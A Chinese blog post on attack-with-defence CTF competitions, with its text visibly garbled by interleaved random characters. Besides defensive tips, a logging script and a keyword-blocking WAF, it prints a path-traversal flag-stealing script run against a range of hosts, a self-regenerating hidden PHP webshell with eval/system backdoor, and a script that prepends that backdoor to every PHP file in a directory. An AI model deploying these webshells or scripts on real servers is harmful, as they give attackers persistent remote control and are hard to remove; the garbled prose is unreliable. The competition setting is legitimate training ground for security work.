AWD真好玩
開(kāi)局一張圖痹兜,內(nèi)容全靠編
AWD是什么
Attack With Defence
再登,簡(jiǎn)而言之就是你既是一個(gè)hacker
方篮,又是一個(gè)manager
有缆。
比賽形式:
一般就是一個(gè)ssh對(duì)應(yīng)一個(gè)web或者pwn或者其他服務(wù)象踊,然后flag若干分鐘一輪,各隊(duì)一般都有自己的初始分?jǐn)?shù)棚壁,flag被拿會(huì)被拿走flag的隊(duì)伍均分通危,主辦方會(huì)對(duì)每個(gè)隊(duì)伍的服務(wù)是否正常進(jìn)行check,check不過(guò)就扣分灌曙,扣除的分值由服務(wù)check正常的隊(duì)伍均分。
AWD題目類(lèi)型
題目類(lèi)型
只了解web的哭了
- 出題人自己寫(xiě)的或者修改的cms节芥,附加了一些常見(jiàn)web漏洞在刺。
- 常見(jiàn)或者不常見(jiàn)的cms。
- 一些框架漏洞头镊,比如thinkphp蚣驼,flask這種。
漏洞類(lèi)型
基本上web常見(jiàn)漏洞都會(huì)有相艇,pwn爺爺和其他的就不清楚了颖杏。
出題人思路
一般來(lái)說(shuō)比較多見(jiàn)的是某些cms漏洞,為了減少現(xiàn)場(chǎng)挖洞的難度坛芽,一般出題人會(huì)放置一些很明顯的漏洞代碼留储,獲取一些常用的web工具(漏洞工具)翼抠,等等,再放幾個(gè)比較簡(jiǎn)單的洞获讳,直接在index.php或者web根目錄下放個(gè)一句話(huà)木馬阴颖。
如何攻擊
AWD模式的比賽跟日常的滲透測(cè)試有共同之處。
如何拿flag
一般來(lái)說(shuō)就是以下兩種模式:
- 向內(nèi)網(wǎng)一臺(tái)機(jī)器發(fā)送http請(qǐng)求丐膝,返回請(qǐng)求中包含flag量愧。
- 又例如系統(tǒng)根目錄下放置flag文件。
一個(gè)良好的競(jìng)賽者需要的品質(zhì)
- 快速的漏洞反應(yīng)能力帅矗。因?yàn)橛械臅r(shí)候偎肃,一些比賽放的漏洞都是網(wǎng)上能查到的,所以這個(gè)時(shí)候需要一個(gè)好的搜索技巧浑此±鬯蹋或者是一些rec顯而易見(jiàn)的那種。
-
快速編寫(xiě)腳本的能力尤勋。因?yàn)榇蠹业姆?wù)都是一樣的喘落,而你如果能通過(guò)比如注入的方式拿到flag,如果用hackbar一個(gè)個(gè)去弄最冰,顯然不夠優(yōu)雅瘦棋,而且有時(shí)候特別會(huì)容易遺漏,那么這個(gè)時(shí)候?qū)憘€(gè)
小python腳本
無(wú)疑是極好的暖哨。
如何防守
其實(shí)防守更多看的是誰(shuí)比較細(xì)心赌朋。適合運(yùn)維人員。
比賽開(kāi)始的加固階段
比賽開(kāi)始時(shí)篇裁,當(dāng)我們連上ssh的時(shí)候沛慢,我們首先應(yīng)該做的是修改一下服務(wù)器密碼(有時(shí)候不需要),然后把源碼down下來(lái)达布,及時(shí)做好備份团甲。以方便進(jìn)行代碼審計(jì)。然后在盡量不違反主辦方賽事的原則下掛上自己的waf黍聂,以及刪除一些敏感性的文件或者數(shù)據(jù)等躺苦。在比賽開(kāi)放攻擊的時(shí)候需要我們自己去抓流量。監(jiān)控網(wǎng)站日志等信息产还,以做好應(yīng)急響應(yīng)匹厘。
修改常見(jiàn)的一些弱口令密碼,像網(wǎng)站后臺(tái)密碼等脐区,如果能有權(quán)限對(duì)系統(tǒng)愈诚、web容器、數(shù)據(jù)庫(kù)配置做一些更改的話(huà),進(jìn)行相應(yīng)的加固操作炕柔。數(shù)據(jù)庫(kù)密碼一般在網(wǎng)站的配置文件中可以看到酌泰,對(duì)數(shù)據(jù)庫(kù)做了密碼更改等操作也需要修改配置文件,以保證網(wǎng)站能正常運(yùn)行汗唱。接下來(lái)的工作
當(dāng)然是審計(jì)宫莱,審計(jì),再審計(jì)哩罪。挖掘漏洞授霸。當(dāng)發(fā)現(xiàn)被攻擊時(shí)
當(dāng)發(fā)現(xiàn)自己被打時(shí),首先嘗試還原以前的備份(記得備份當(dāng)前)际插,如果依然被打碘耳,這個(gè)時(shí)候應(yīng)該跟隊(duì)友分好工,查看抓取的流量以及查看服務(wù)器上是不是存在shell框弛。
附上小腳本:
木馬
各種不死馬
辛辨、內(nèi)存馬
啥的,都可以派上用場(chǎng)瑟枫。這里就不展示了斗搞。
日志記錄
<!-- 日志記錄腳本 -->
<?php
date_default_timezone_set("Asia/Shanghai");
$ip = $_SERVER['REMOTE_ADDR']; //記錄訪(fǎng)問(wèn)者的IP
$filename = $_SERVER['PHP_SELF']; //訪(fǎng)問(wèn)者要訪(fǎng)問(wèn)的文件名
$parameter = $_SERVER['QUERY_STRING']; //訪(fǎng)問(wèn)者要請(qǐng)求的參數(shù)
$time = date('Y-m-d H:i:s', time()); //訪(fǎng)問(wèn)時(shí)間
$logadd = '訪(fǎng)問(wèn)時(shí)間:'.$time.'-->'.'訪(fǎng)問(wèn)鏈接:'.'http://'.$ip.$filename.'?'.$parameter."\r\n";
//log記錄
$fh = fopen("log.txt", "a");
fwrite($fh, $logadd);
fclose($fh);
?>
簡(jiǎn)單的waf示例
<?php
error_reporting(0);
define('LOG_FILENAME','log.txt');
function waf()
{
if (!function_exists('getallheaders')) {
function getallheaders() {
foreach ($_SERVER as $name => $value) {
if (substr($name, 0, 5) == 'HTTP_')
$headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value;
}
return $headers;
}
}
$get = $_GET;
$post = $_POST;
$cookie = $_COOKIE;
$header = getallheaders();
$files = $_FILES;
$ip = $_SERVER["REMOTE_ADDR"];
$method = $_SERVER['REQUEST_METHOD'];
$filepath = $_SERVER["SCRIPT_NAME"];
//rewirte shell which uploaded by others, you can do more
foreach ($_FILES as $key => $value) {
$files[$key]['content'] = file_get_contents($_FILES[$key]['tmp_name']);
file_put_contents($_FILES[$key]['tmp_name'], "virink");
}
unset($header['Accept']);//fix a bug
$input = array("Get"=>$get, "Post"=>$post, "Cookie"=>$cookie, "File"=>$files, "Header"=>$header);
//deal with
$pattern = "select|insert|update|delete|and|or|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex";
$pattern .= "|file_put_contents|fwrite|curl|system|eval|assert";
$pattern .="|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore";
$pattern .="|`|dl|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec";
$vpattern = explode("|",$pattern);
$bool = false;
foreach ($input as $k => $v) {
foreach($vpattern as $value){
foreach ($v as $kk => $vv) {
if (preg_match( "/$value/i", $vv )){
$bool = true;
logging($input);
break;
}
}
if($bool) break;
}
if($bool) break;
}
}
function logging($var){
file_put_contents(LOG_FILENAME, "\r\n".time()."\r\n".print_r($var, true), FILE_APPEND);
// die() or unset($_GET) or unset($_POST) or unset($_COOKIE);
}
waf();
?>
再更新:
之前也受星盟安全團(tuán)隊(duì)邀請(qǐng)慷妙,玩過(guò)幾次AWD僻焚,再記錄下。
比賽開(kāi)始
相關(guān)條目來(lái)自郁離歌大哥的經(jīng)驗(yàn):http://yulige.top/?p=394
0X01 改ssh密碼(如果是默認(rèn)的就改)
-
0X02 dump源碼
進(jìn)入/var/www/html
目錄下膝擂,執(zhí)行命令zip -qr www.zip
虑啤。
還原的時(shí)候,先進(jìn)入/var/www/html
目錄下架馋,再執(zhí)行命令unzip www.zip
狞山,unzip -l www.zip
用于查看壓縮文件中包含的文件。可恨的是原始的靶機(jī)有時(shí)候并沒(méi)有預(yù)置
zip
命令叉寂。還是MobaXtern這種自帶ftp的ssh工具好用萍启。 -
0X03 修改數(shù)據(jù)庫(kù)密碼和備份數(shù)據(jù)庫(kù)
- 修改密碼:
set password for root@localhost = password('新密碼');
- 備份
mysqldump -uroot -p密碼 --databases 根據(jù)配置文件確定數(shù)據(jù)庫(kù) > aaa.sql
備份全部數(shù)據(jù)庫(kù)
mysqldump -uroot -p密碼 --all-databases > /tmp/all.sql
- 還原
mysql -uroot -p密碼 < aaa.sql
注意是否已經(jīng)建立了數(shù)據(jù)庫(kù)。
0X04 拿到源碼之后先D盾查殺
0X05. seay掃洞(沒(méi)啥大用處屏鳍,一般題目代碼量不會(huì)很大)
0X06. 上監(jiān)控腳本
0X07. 審計(jì)
0X08. 時(shí)刻關(guān)注流量和積分榜
0X09. 寫(xiě)腳本批量拿分和提交
批量獲取flag和提交的腳本
(視比賽平臺(tái)而定)
關(guān)于自動(dòng)提交flag函數(shù)中的headers勘纯,應(yīng)該只要Content-Type
和Cookie
就行。視情況而定吧孕蝉,實(shí)在不能自動(dòng)提交,就抓包把所有的請(qǐng)求頭都寫(xiě)上腌逢。
import requests
import re
def submit_flag(flag):
url = 'http://39.100.119.37:10000/commit/flag'
headers = {'Host': '39.100.119.37:10000','User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0','Accept': 'application/json, text/javascript, */*; q=0.01','Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2','Accept-Encoding': 'gzip, deflate','Content-Type': 'application/json; charset=UTF-8','X-Requested-With': 'XMLHttpRequest','Connection': 'close','Referer': 'http://39.100.119.37:10000/admin','Cookie': 'PHPSESSID=7loc4cqkqudv3v0g85a0h77586'}
data = '{"flag":"' + flag + '","token":"8c7889befd2f3bf81d23e0f0b4a9c831"}'
print(data)
# data1 = str('{"flag":"{}"').format(flag)+',"token":"8c7889befd2f3bf81d23e0f0b4a9c831"}' #語(yǔ)法錯(cuò)誤
req = requests.post(url,data=data,headers=headers)
print(req.text)
def get_flag_by_post():
for _ in range(1,13):
if _ <10:
_ = '0'+ str(_)
_ = str(_)
url = 'http://47.56.9.150:1{}80/download.php'.format(_)
post_data = {'filename':'../../../../flag'}
print(url)
req = requests.post(url=url,data=post_data)
if req.status_code ==404:
continue
submit_flag(req.text)
# 如果要處理異常降淮,函數(shù)可以這樣寫(xiě)(但submit_flag如果出現(xiàn)異常,則無(wú)法得知,推薦先用上面的函數(shù))
def get_flag_by_post2():
for _ in range(1,13):
if _ <10:
_ = '0'+ str(_)
_ = str(_)
url = 'http://47.56.9.150:1{}80/download.php'.format(_)
post_data = {'filename':'../../../../flag'}
print(url)
try:
req = requests.post(url,data=data)
if req.status_code == 404:
continue
submit_flag(req.text)
except Exception as e:
print(e)
continue
一些tip
如果遇到冰蝎馬這種后門(mén)佳鳖,是不能直接寫(xiě)腳本批量獲取flag的霍殴,這時(shí)候就要盡快通過(guò)冰蝎連接shell,種下不死馬
系吩。
D盾掃出來(lái)的后門(mén)畢竟一下就被修復(fù)了来庭。還需要隊(duì)員進(jìn)行全盤(pán)的代碼審計(jì),如文件讀取
穿挨,萬(wàn)能密碼繞過(guò)登錄
月弛,文件上傳
,反序列化
等等科盛。拿到一個(gè)權(quán)限后帽衙,就批量打一會(huì),再種個(gè)不死馬維持一下贞绵。
不死馬/內(nèi)存馬
保存為 .index.php
隱藏文件厉萝,上傳到對(duì)方服務(wù)器,然后瀏覽器訪(fǎng)問(wèn)去觸發(fā)榨崩,就會(huì)生成 .config.php
隱藏文件谴垫。
殺死進(jìn)程或者重啟apache會(huì)失效
<?php
unlink(__FILE__);
set_time_limit(0); //永久執(zhí)行,直到進(jìn)程結(jié)束
ignore_user_abort(true);
//訪(fǎng)問(wèn)后母蛛,用戶(hù)關(guān)閉url翩剪,進(jìn)程不斷,繼續(xù)執(zhí)行
$path = dirname(__FILE__);
$file = $path . '/.config.php'; //生成惡意的隱藏文件(Linux系統(tǒng))
$shell = "<?php if (md5(\$_REQUEST['pass'])==='91b37b09623a404b281e69932abb97df'){@eval(\$_REQUEST['code']);@system(\$_REQUEST['sys']);exit();} ?>";
while(true){
file_put_contents($file, $shell);
system('chmod 777 .config.php;');
usleep(15000000); //微秒級(jí)別溯祸,中間隔15秒迷惑對(duì)方
}
?>
即使刪除了.config.php
肢专,15秒后也會(huì)出現(xiàn);即使刪除了.index.php
焦辅,.config.php
文件15秒后還是會(huì)出現(xiàn)(親測(cè))博杖。
(在原作者基礎(chǔ)上加入了目錄限制)
在目錄下的所有PHP文件前加木馬
星盟周年慶的時(shí)候看到別人的騷思路,自己寫(xiě)了個(gè)類(lèi)似的功能筷登。
文件命名為aa.php
密碼是不能告訴你
剃根,每次比賽都要換一下。
<?php
$shell = "<?php if (md5(\$_REQUEST['pass'])==='91b37b09623a404b281e69932abb97df'){@eval(\$_REQUEST['code']);@system(\$_REQUEST['sys']);exit();} ?>"."\n";
foreach(glob('*.*') as $filename){
if ($filename != "aa.php"){
$content = file_get_contents($filename);
$content = $shell.$content;
unlink($filename);
file_put_contents($filename, $content);
}
}
?>
只針對(duì)aa.php
文件下的所有PHP文件前方。
next to Do:
一個(gè)好的waf狈醉、一個(gè)流量審計(jì)的腳本